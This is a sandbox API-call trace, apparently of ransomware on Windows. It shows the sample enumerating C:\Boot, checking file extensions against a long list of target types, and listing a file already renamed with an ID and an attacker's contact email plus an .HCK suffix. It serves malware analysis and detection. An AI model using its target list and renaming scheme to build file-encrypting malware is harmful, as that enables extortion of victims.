lstrcmpiW (lpString1=".max", lpString2="LOG1") returned -1 [0224.533] lstrlenW (lpString=".md") returned 3 [0224.533] lstrcmpiW (lpString1=".md", lpString2="OG1") returned -1 [0224.533] lstrlenW (lpString=".mda") returned 4 [0224.533] lstrcmpiW (lpString1=".mda", lpString2="LOG1") returned -1 [0224.533] lstrlenW (lpString=".mdb") returned 4 [0224.533] lstrcmpiW (lpString1=".mdb", lpString2="LOG1") returned -1 [0224.533] lstrlenW (lpString=".mde") returned 4 [0224.533] lstrcmpiW (lpString1=".mde", lpString2="LOG1") returned -1 [0224.533] lstrlenW (lpString=".mdf") returned 4 [0224.534] lstrcmpiW (lpString1=".mdf", lpString2="LOG1") returned -1 [0224.534] lstrlenW (lpString=".mdw") returned 4 [0224.534] lstrcmpiW (lpString1=".mdw", lpString2="LOG1") returned -1 [0224.534] lstrlenW (lpString=".mef") returned 4 [0224.534] lstrcmpiW (lpString1=".mef", lpString2="LOG1") returned -1 [0224.534] lstrlenW (lpString=".mft") returned 4 [0224.534] lstrcmpiW (lpString1=".mft", lpString2="LOG1") returned -1 [0224.534] lstrlenW (lpString=".mfw") returned 4 [0224.534] lstrcmpiW (lpString1=".mfw", lpString2="LOG1") returned -1 [0224.534] lstrlenW (lpString=".mht") returned 4 [0224.534] lstrcmpiW (lpString1=".mht", lpString2="LOG1") returned -1 [0224.534] lstrlenW (lpString=".mhtml") returned 6 [0224.534] lstrcmpiW (lpString1=".mhtml", lpString2="D.LOG1") returned -1 [0224.534] lstrlenW (lpString=".mka") returned 4 [0224.534] lstrcmpiW (lpString1=".mka", lpString2="LOG1") returned -1 [0224.534] lstrlenW (lpString=".mkidx") returned 6 [0224.534] lstrcmpiW (lpString1=".mkidx", lpString2="D.LOG1") returned -1 [0224.534] lstrlenW (lpString=".mkv") returned 4 [0224.534] lstrcmpiW (lpString1=".mkv", lpString2="LOG1") returned -1 [0224.534] lstrlenW (lpString=".mos") returned 4 [0224.534] lstrcmpiW (lpString1=".mos", lpString2="LOG1") returned -1 [0224.534] lstrlenW (lpString=".mov") returned 4 [0224.534] lstrcmpiW (lpString1=".mov", lpString2="LOG1") returned -1 [0224.534] lstrlenW (lpString=".mp3") returned 4 [0224.534] lstrcmpiW (lpString1=".mp3", lpString2="LOG1") returned -1 [0224.534] lstrlenW (lpString=".mp4") returned 4 [0224.534] lstrcmpiW (lpString1=".mp4", lpString2="LOG1") returned -1 [0224.534] lstrlenW (lpString=".mpeg") returned 5 [0224.534] lstrcmpiW (lpString1=".mpeg", lpString2=".LOG1") returned 1 [0224.534] lstrlenW (lpString=".mpg") returned 4 [0224.534] lstrcmpiW (lpString1=".mpg", lpString2="LOG1") returned -1 [0224.534] lstrlenW (lpString=".mpv") returned 4 [0224.534] lstrcmpiW (lpString1=".mpv", lpString2="LOG1") returned -1 [0224.534] lstrlenW (lpString=".mrw") returned 4 [0224.534] lstrcmpiW (lpString1=".mrw", lpString2="LOG1") returned -1 [0224.534] lstrlenW (lpString=".msg") returned 4 [0224.534] lstrcmpiW (lpString1=".msg", lpString2="LOG1") returned -1 [0224.534] lstrlenW (lpString=".mxl") returned 4 [0224.534] lstrcmpiW (lpString1=".mxl", lpString2="LOG1") returned -1 [0224.534] lstrlenW (lpString=".myd") returned 4 [0224.534] lstrcmpiW (lpString1=".myd", lpString2="LOG1") returned -1 [0224.534] lstrlenW (lpString=".myi") returned 4 [0224.534] lstrcmpiW (lpString1=".myi", lpString2="LOG1") returned -1 [0224.534] lstrlenW (lpString=".nef") returned 4 [0224.534] lstrcmpiW (lpString1=".nef", lpString2="LOG1") returned -1 [0224.534] lstrlenW (lpString=".nrw") returned 4 [0224.534] lstrcmpiW (lpString1=".nrw", lpString2="LOG1") returned -1 [0224.534] lstrlenW (lpString=".obj") returned 4 [0224.534] lstrcmpiW (lpString1=".obj", lpString2="LOG1") returned -1 [0224.534] lstrlenW (lpString=".odb") returned 4 [0224.534] lstrcmpiW (lpString1=".odb", lpString2="LOG1") returned -1 [0224.534] lstrlenW (lpString=".odc") returned 4 [0224.534] lstrcmpiW (lpString1=".odc", lpString2="LOG1") returned -1 [0224.535] lstrlenW (lpString=".odm") returned 4 [0224.535] lstrcmpiW (lpString1=".odm", lpString2="LOG1") returned -1 [0224.535] lstrlenW (lpString=".odp") returned 4 [0224.535] lstrcmpiW (lpString1=".odp", lpString2="LOG1") returned -1 [0224.535] lstrlenW (lpString=".ods") returned 4 [0224.535] lstrcmpiW (lpString1=".ods", lpString2="LOG1") returned -1 [0224.535] lstrlenW (lpString=".oft") returned 4 [0224.535] lstrcmpiW (lpString1=".oft", lpString2="LOG1") returned -1 [0224.535] lstrlenW (lpString=".one") returned 4 [0224.535] lstrcmpiW (lpString1=".one", lpString2="LOG1") returned -1 [0224.535] lstrlenW (lpString=".onepkg") returned 7 [0224.535] lstrcmpiW (lpString1=".onepkg", lpString2="CD.LOG1") returned -1 [0224.535] lstrlenW (lpString=".onetoc2") returned 8 [0224.535] lstrcmpiW (lpString1=".onetoc2", lpString2="BCD.LOG1") returned -1 [0224.535] lstrlenW (lpString=".opt") returned 4 [0224.535] lstrcmpiW (lpString1=".opt", lpString2="LOG1") returned -1 [0224.535] lstrlenW (lpString=".oqy") returned 4 [0224.535] lstrcmpiW (lpString1=".oqy", lpString2="LOG1") returned -1 [0224.535] lstrlenW (lpString=".orf") returned 4 [0224.535] lstrcmpiW (lpString1=".orf", lpString2="LOG1") returned -1 [0224.535] lstrlenW (lpString=".p12") returned 4 [0224.535] lstrcmpiW (lpString1=".p12", lpString2="LOG1") returned -1 [0224.535] lstrlenW (lpString=".p7b") returned 4 [0224.535] lstrcmpiW (lpString1=".p7b", lpString2="LOG1") returned -1 [0224.535] lstrlenW (lpString=".p7c") returned 4 [0224.535] lstrcmpiW (lpString1=".p7c", lpString2="LOG1") returned -1 [0224.535] lstrlenW (lpString=".pam") returned 4 [0224.535] lstrcmpiW (lpString1=".pam", lpString2="LOG1") returned -1 [0224.535] lstrlenW (lpString=".pbm") returned 4 [0224.535] lstrcmpiW (lpString1=".pbm", lpString2="LOG1") returned -1 [0224.535] lstrlenW (lpString=".pct") returned 4 [0224.535] lstrcmpiW (lpString1=".pct", lpString2="LOG1") returned -1 [0224.535] lstrlenW (lpString=".pcx") returned 4 [0224.535] lstrcmpiW (lpString1=".pcx", lpString2="LOG1") returned -1 [0224.535] lstrlenW (lpString=".pdd") returned 4 [0224.535] lstrcmpiW (lpString1=".pdd", lpString2="LOG1") returned -1 [0224.535] lstrlenW (lpString=".pdf") returned 4 [0224.535] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0224.535] lstrlenW (lpString=".pdp") returned 4 [0224.535] lstrcmpiW (lpString1=".pdp", lpString2="LOG1") returned -1 [0224.535] lstrlenW (lpString=".pef") returned 4 [0224.535] lstrcmpiW (lpString1=".pef", lpString2="LOG1") returned -1 [0224.535] lstrlenW (lpString=".pem") returned 4 [0224.535] lstrcmpiW (lpString1=".pem", lpString2="LOG1") returned -1 [0224.535] lstrlenW (lpString=".pff") returned 4 [0224.535] lstrcmpiW (lpString1=".pff", lpString2="LOG1") returned -1 [0224.535] lstrlenW (lpString=".pfm") returned 4 [0224.535] lstrcmpiW (lpString1=".pfm", lpString2="LOG1") returned -1 [0224.535] lstrlenW (lpString=".pfx") returned 4 [0224.535] lstrcmpiW (lpString1=".pfx", lpString2="LOG1") returned -1 [0224.535] lstrlenW (lpString=".pgm") returned 4 [0224.535] lstrcmpiW (lpString1=".pgm", lpString2="LOG1") returned -1 [0224.535] lstrlenW (lpString=".php") returned 4 [0224.535] lstrcmpiW (lpString1=".php", lpString2="LOG1") returned -1 [0224.535] lstrlenW (lpString=".php3") returned 5 [0224.535] lstrcmpiW (lpString1=".php3", lpString2=".LOG1") returned 1 [0224.535] lstrlenW (lpString=".php4") returned 5 [0224.536] lstrcmpiW (lpString1=".php4", lpString2=".LOG1") returned 1 [0224.536] lstrlenW (lpString=".php5") returned 5 [0224.536] lstrcmpiW (lpString1=".php5", lpString2=".LOG1") returned 1 [0224.536] lstrlenW (lpString=".phtml") returned 6 [0224.536] lstrcmpiW (lpString1=".phtml", lpString2="D.LOG1") returned -1 [0224.536] lstrlenW (lpString=".pict") returned 5 [0224.536] lstrcmpiW (lpString1=".pict", lpString2=".LOG1") returned 1 [0224.536] lstrlenW (lpString=".pl") returned 3 [0224.536] lstrcmpiW (lpString1=".pl", lpString2="OG1") returned -1 [0224.536] lstrlenW (lpString=".pls") returned 4 [0224.536] lstrcmpiW (lpString1=".pls", lpString2="LOG1") returned -1 [0224.536] lstrlenW (lpString=".pm") returned 3 [0224.536] lstrcmpiW (lpString1=".pm", lpString2="OG1") returned -1 [0224.536] lstrlenW (lpString=".png") returned 4 [0224.536] lstrcmpiW (lpString1=".png", lpString2="LOG1") returned -1 [0224.536] lstrlenW (lpString=".pnm") returned 4 [0224.536] lstrcmpiW (lpString1=".pnm", lpString2="LOG1") returned -1 [0224.536] lstrlenW (lpString=".pot") returned 4 [0224.536] lstrcmpiW (lpString1=".pot", lpString2="LOG1") returned -1 [0224.536] lstrlenW (lpString=".potm") returned 5 [0224.536] lstrcmpiW (lpString1=".potm", lpString2=".LOG1") returned 1 [0224.536] lstrlenW (lpString=".potx") returned 5 [0224.536] lstrcmpiW (lpString1=".potx", lpString2=".LOG1") returned 1 [0224.536] lstrlenW (lpString=".ppa") returned 4 [0224.536] lstrcmpiW (lpString1=".ppa", lpString2="LOG1") returned -1 [0224.536] lstrlenW (lpString=".ppam") returned 5 [0224.536] lstrcmpiW (lpString1=".ppam", lpString2=".LOG1") returned 1 [0224.536] lstrlenW (lpString=".ppm") returned 4 [0224.536] lstrcmpiW (lpString1=".ppm", lpString2="LOG1") returned -1 [0224.536] lstrlenW (lpString=".pps") returned 4 [0224.536] lstrcmpiW (lpString1=".pps", lpString2="LOG1") returned -1 [0224.536] lstrlenW (lpString=".ppsm") returned 5 [0224.536] lstrcmpiW (lpString1=".ppsm", lpString2=".LOG1") returned 1 [0224.536] lstrlenW (lpString=".ppt") returned 4 [0224.536] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0224.536] lstrlenW (lpString=".pptm") returned 5 [0224.536] lstrcmpiW (lpString1=".pptm", lpString2=".LOG1") returned 1 [0224.536] lstrlenW (lpString=".pptx") returned 5 [0224.536] lstrcmpiW (lpString1=".pptx", lpString2=".LOG1") returned 1 [0224.536] lstrlenW (lpString=".prn") returned 4 [0224.536] lstrcmpiW (lpString1=".prn", lpString2="LOG1") returned -1 [0224.536] lstrlenW (lpString=".ps") returned 3 [0224.536] lstrcmpiW (lpString1=".ps", lpString2="OG1") returned -1 [0224.536] lstrlenW (lpString=".psb") returned 4 [0224.536] lstrcmpiW (lpString1=".psb", lpString2="LOG1") returned -1 [0224.536] lstrlenW (lpString=".psd") returned 4 [0224.536] lstrcmpiW (lpString1=".psd", lpString2="LOG1") returned -1 [0224.536] lstrlenW (lpString=".pst") returned 4 [0224.536] lstrcmpiW (lpString1=".pst", lpString2="LOG1") returned -1 [0224.536] lstrlenW (lpString=".ptx") returned 4 [0224.536] lstrcmpiW (lpString1=".ptx", lpString2="LOG1") returned -1 [0224.536] lstrlenW (lpString=".pub") returned 4 [0224.536] lstrcmpiW (lpString1=".pub", lpString2="LOG1") returned -1 [0224.536] lstrlenW (lpString=".pwm") returned 4 [0224.536] lstrcmpiW (lpString1=".pwm", lpString2="LOG1") returned -1 [0224.536] lstrlenW (lpString=".pxr") returned 4 [0224.536] lstrcmpiW (lpString1=".pxr", lpString2="LOG1") returned -1 [0224.537] lstrlenW (lpString=".py") returned 3 [0224.537] lstrcmpiW (lpString1=".py", lpString2="OG1") returned -1 [0224.537] lstrlenW (lpString=".qt") returned 3 [0224.537] lstrcmpiW (lpString1=".qt", lpString2="OG1") returned -1 [0224.537] lstrlenW (lpString=".r3d") returned 4 [0224.537] lstrcmpiW (lpString1=".r3d", lpString2="LOG1") returned -1 [0224.537] lstrlenW (lpString=".raf") returned 4 [0224.537] lstrcmpiW (lpString1=".raf", lpString2="LOG1") returned -1 [0224.537] lstrlenW (lpString=".rar") returned 4 [0224.537] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0224.537] lstrlenW (lpString=".raw") returned 4 [0224.537] lstrcmpiW (lpString1=".raw", lpString2="LOG1") returned -1 [0224.537] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0224.537] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0224.537] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4050730 [0224.537] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5734e8 [0224.538] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.538] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0224.538] FindNextFileW (in: hFindFile=0x5734e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0224.538] FindClose (in: hFindFile=0x5734e8 | out: hFindFile=0x5734e8) returned 1 [0224.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.538] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0224.538] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa409846f, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa409846f, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa40be425, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x100fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="BOOTST~1.HCK")) returned 1 [0224.538] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0224.538] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0224.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4050730 [0224.538] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5736e8 [0224.539] FindNextFileW (in: hFindFile=0x5736e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.539] FindNextFileW (in: hFindFile=0x5736e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0224.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4050730 [0224.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.551] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.564] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.564] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.565] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.567] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.570] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.572] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.572] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.585] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.592] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.592] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.592] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.617] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.635] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.640] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0224.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.648] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.648] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.649] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.650] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.652] 